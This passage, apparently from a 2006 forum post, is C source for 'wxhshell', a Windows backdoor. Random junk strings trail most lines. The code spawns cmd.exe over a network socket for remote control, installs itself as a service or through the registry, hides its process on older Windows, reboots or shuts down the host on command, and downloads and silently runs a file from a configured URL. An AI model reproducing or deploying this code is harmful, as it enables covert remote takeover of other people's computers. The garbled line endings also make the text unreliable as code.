"?`JA7~g  
    switch(cmd[0]) { B[Ix?V4yy  
  kYmo7  
  // 帮助 vsw7|  
  case '?': { lbG}noqb  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); j& <tdORT  
    break; d{iL?>'?^  
  } +H?<}N*T  
  // 安装 gRw.AXR a  
  case 'i': { ZtKQ]jV&@  
    if(Install()) dqL  -'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KWtu,~O_u  
    else Sn+FV+D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u% r!?-z  
    break; nh?9R&  
    } 4*YOFU}l  
  // 卸载 jaL$LJV  
  case 'r': { X9z:D>   
    if(Uninstall()) %e(9-M4*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .wM:YX'[G  
    else y`\mQ48V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }ty"fI3&iY  
    break; Vx}Yl&*D  
    } DXt]b,  
  // 显示 wxhshell 所在路径 o- cj&Cv%  
  case 'p': { X9DM ^tt  
    char svExeFile[MAX_PATH]; ?'TA!MR  
    strcpy(svExeFile,"\n\r"); XTIu(f|d_;  
      strcat(svExeFile,ExeFile); JgxE|#*7U  
        send(wsh,svExeFile,strlen(svExeFile),0); L,yA<yrC  
    break; -MQZiq7H4  
    } B-B?Ff>  
  // 重启 Zm`'MsgFr  
  case 'b': { :QxL 9&"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +p8qsT#7  
    if(Boot(REBOOT)) T-hU+(+hg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9*7Hoi4Ji  
    else { j{-mQTSD  
    closesocket(wsh); &e/@yu)x,  
    ExitThread(0); xI-=t ib  
    } t5I^1u6  
    break; ]u\  `  
    } DxE^#=7iH;  
  // 关机 2Px$0&VN  
  case 'd': { XhQw+j~1.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z"G`o"4 V  
    if(Boot(SHUTDOWN)) NvEm,E\|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?"5~Wwp.T  
    else { 8=lHUn9l  
    closesocket(wsh); \.K\YAM<  
    ExitThread(0); Wg}B@:`T  
    } =}B4I  
    break; P@^z:RS*{  
    } ~uP r]#  
  // 获取shell 2U=/<3;u  
  case 's': { ^#<: <X6  
    CmdShell(wsh); <K=@-4/Bp  
    closesocket(wsh); Eqz4{\   
    ExitThread(0); ?|%\<h@;  
    break; TBoM{s=.  
  } <`oCz Q1  
  // 退出 ORV}j, Ym  
  case 'x': { V%X:1 8j  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); c^i"}2+  
    CloseIt(wsh); 3bT6W, J4T  
    break; [[";1l  
    } OqEg{o5 a&  
  // 离开 {^PO3I  
  case 'q': { 2LhfXBWf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pDLu+ }@  
    closesocket(wsh); 5`1(}  
    WSACleanup(); */0vJz%<.M  
    exit(1); Verbmeg&n  
    break; GnSgO-$"  
        } { r< (t#  
  } Q0 uP8I}n  
  } 5Z4(J?n  
icKg7-$N  
  // 提示信息 ]7XkijNb  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lpM>}0v   
} w^:V."}-$  
  } oTplxF1  
``2QOu 1  
  return; _IQU<Za  
} =j'J !M  
r`&2-]  
// shell模块句柄 FUW(>0x?  
int CmdShell(SOCKET sock) xA[Wb'  
{ BCj`WF@8l{  
STARTUPINFO si; 1Pw(.8P  
ZeroMemory(&si,sizeof(si)); wW6mYgPN%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; fg>B  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; STFQ";z$  
PROCESS_INFORMATION ProcessInfo; 2A@Y&g(6T7  
char cmdline[]="cmd"; a in#_H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VuX >  
  return 0; pJ 2:` f<;  
} Z1)jRE2dl  
cuV8#: i  
// 自身启动模式 .-O@UQx.I  
int StartFromService(void) 8%vh6$s6/  
{ i-:8TfI,  
typedef struct ei+9G,  
{ !]{1h  
  DWORD ExitStatus; uFm(R/V  
  DWORD PebBaseAddress; QoT3;<r}  
  DWORD AffinityMask; ~RZJ/%6F  
  DWORD BasePriority; 8xD<A|  
  ULONG UniqueProcessId; ] dm1Qm  
  ULONG InheritedFromUniqueProcessId; EMVoTW)z  
}   PROCESS_BASIC_INFORMATION; =ELDJt  
*MnG-\{j  
PROCNTQSIP NtQueryInformationProcess; pr[B$X .V  
i&}zcGC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; g "K#&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #Vn>ue+?  
K c2OLz#  
  HANDLE             hProcess; $ +GFOO  
  PROCESS_BASIC_INFORMATION pbi; @^y?Bh9jQ  
}ZM*[j  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EL 8N[]RF  
  if(NULL == hInst ) return 0; [G'!`^V,  
[0tf Y0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m>*A0&??[  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E.H,1 {  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .@8m\  
%X0NHta ~@  
  if (!NtQueryInformationProcess) return 0; 9J2q`/6~e  
;mo\ yW1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wd^F%)(  
  if(!hProcess) return 0; Bah.\ZsYQP  
f'zU^/$rf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fzkCI  
c`$`0}  
  CloseHandle(hProcess); *1o+o$hY2  
4B3irHs\Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v8U1uOR,%  
if(hProcess==NULL) return 0; qUDz(bFk/  
V~J2s  
HMODULE hMod; C\a:eSgaC  
char procName[255]; xM'S ;Sg  
unsigned long cbNeeded; N?2 #YTjR  
evg 7d  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4U! .UNi  
"z#?OV5  
  CloseHandle(hProcess); cyHak u+  
WFeMr%Zqh>  
if(strstr(procName,"services")) return 1; // 以服务启动 ${I@YSU  
RaM#@D7  
  return 0; // 注册表启动 3w<j:\i  
} ,SJK  
/n(bThDH  
// 主模块  i_E#cU  
int StartWxhshell(LPSTR lpCmdLine) a7v[l04  
{ lM|WOmD  
  SOCKET wsl; @7HOL-i  
BOOL val=TRUE; +/b4@B7  
  int port=0; A9qO2kq7_  
  struct sockaddr_in door; Y)4Nydq  
!OZh fMVd  
  if(wscfg.ws_autoins) Install(); ^ ]6  80h  
~&[P` Z$  
port=atoi(lpCmdLine); n?P 5pJ  
$?/Xk%d+  
if(port<=0) port=wscfg.ws_port; @)2V"FE4i  
NW4 s'roP  
  WSADATA data; 2YE]?!   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WKrZTPD'm  
X%9xuc  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M ly z><  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); J?Ep Nie  
  door.sin_family = AF_INET; MVeQ5c(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J6["j   
  door.sin_port = htons(port); >NOYa3  
hRy }G'0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 'd.@4 9  
closesocket(wsl);  oRbYna?J  
return 1; MZP><Je&  
} pv m'pu78  
aWsKJo>j[#  
  if(listen(wsl,2) == INVALID_SOCKET) { X+gz+V/  
closesocket(wsl);  4Jk}/_  
return 1; +/>YH-P=  
} 4gv XJK-  
  Wxhshell(wsl); 'G3OZj8  
  WSACleanup(); $m: a-.I  
n8OdRv  
return 0; w)m0Z4*  
9-E>n)  
} UQf>5g  
QV H'06 "{  
// 以NT服务方式启动 s-N?Tzi  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9;v"bc Q  
{ nog\,NT  
DWORD   status = 0; i{FC1tVeL_  
  DWORD   specificError = 0xfffffff; 9hs{uxwuEE  
zs&`:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k+R?JWC:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yxP?O@(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <9@]|  
  serviceStatus.dwWin32ExitCode     = 0; +#JhhW Zj(  
  serviceStatus.dwServiceSpecificExitCode = 0; ? -F'0-t4%  
  serviceStatus.dwCheckPoint       = 0; QUw5~n ;-  
  serviceStatus.dwWaitHint       = 0; 8rG&CxI  
?jn6Op  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); g1*H|n h2  
  if (hServiceStatusHandle==0) return; W &wDH  
tEX~72v  
status = GetLastError(); j_WF38o  
  if (status!=NO_ERROR) qM:)daS1w  
{ mV(x&`Cx  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :XQ  
    serviceStatus.dwCheckPoint       = 0; 'lRHdD}s  
    serviceStatus.dwWaitHint       = 0; F+$@3[Q`N  
    serviceStatus.dwWin32ExitCode     = status; @[b:([  
    serviceStatus.dwServiceSpecificExitCode = specificError; ty< tv|p  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); lPN< rgg  
    return; ,WDAcQ8\  
  } muX4Y1M_  
5WJkeG ba  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :kx#];2i  
  serviceStatus.dwCheckPoint       = 0; bSmaE7  
  serviceStatus.dwWaitHint       = 0; So 6cm|{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !6/IKh`J  
} t02"v4_i  
l`%} {3r9  
// 处理NT服务事件,比如:启动、停止 gcCYXPZp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) x[>_I1TJ  
{ k`~br249  
switch(fdwControl) boOw K?  
{ g~H? l3v  
case SERVICE_CONTROL_STOP: ~m|?! ]n  
  serviceStatus.dwWin32ExitCode = 0; 0?Wf\7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; QRHm |f9_C  
  serviceStatus.dwCheckPoint   = 0; 2[YD&  
  serviceStatus.dwWaitHint     = 0; taEMr> /  
  { f>+}U;)EF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wG?kcfu  
  } geN%rD  
  return; jp]geV54  
case SERVICE_CONTROL_PAUSE: 3cFLU^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %+! 9  
  break; e&4wwP"`<  
case SERVICE_CONTROL_CONTINUE: Qn3+bF4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; q4ko}jn  
  break; 6:z&ukq E  
case SERVICE_CONTROL_INTERROGATE: 3L]^x9Cu)  
  break; )Q j9kJq  
}; Q0; gF?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4$2T zJE  
} !cq| g  
Tc(v\|F,  
// 标准应用程序主函数 r= | |sZs  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) rtF6Lg  
{ <r`Jn49  
. _t,OX$  
// 获取操作系统版本 +sluu!~  
OsIsNt=GetOsVer(); RR[TW;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); bNU^tL3QZ  
,UZE;lXJ'Q  
  // 从命令行安装 zwrZ ^  
  if(strpbrk(lpCmdLine,"iI")) Install(); v 4b`19}  
-*l[:5m  
  // 下载执行文件 [=1?CD  
if(wscfg.ws_downexe) { Msu2OF *x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +&zCmkVC7  
  WinExec(wscfg.ws_filenam,SW_HIDE); vEp8Hc  
} 1sLfjH hv  
^k<$N  
if(!OsIsNt) { RWQW/Gw x  
// 如果时win9x,隐藏进程并且设置为注册表启动  Q<ExfJm  
HideProc(); QGj5\{E_  
StartWxhshell(lpCmdLine); gq1Y]t|4F  
} 5nq-b@?L  
else UnF4RF:A2&  
  if(StartFromService()) VEEeQy  
  // 以服务方式启动 {-`OE  
  StartServiceCtrlDispatcher(DispatchTable); 7[1 R}G V  
else ,T~5iLKY  
  // 普通方式启动 i4r~eneP  
  StartWxhshell(lpCmdLine); ^JDV4>S\  
]b| @<E7Y  
return 0; <d`UifqD  
}
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只看该作者 1 发表于: 2006-10-10
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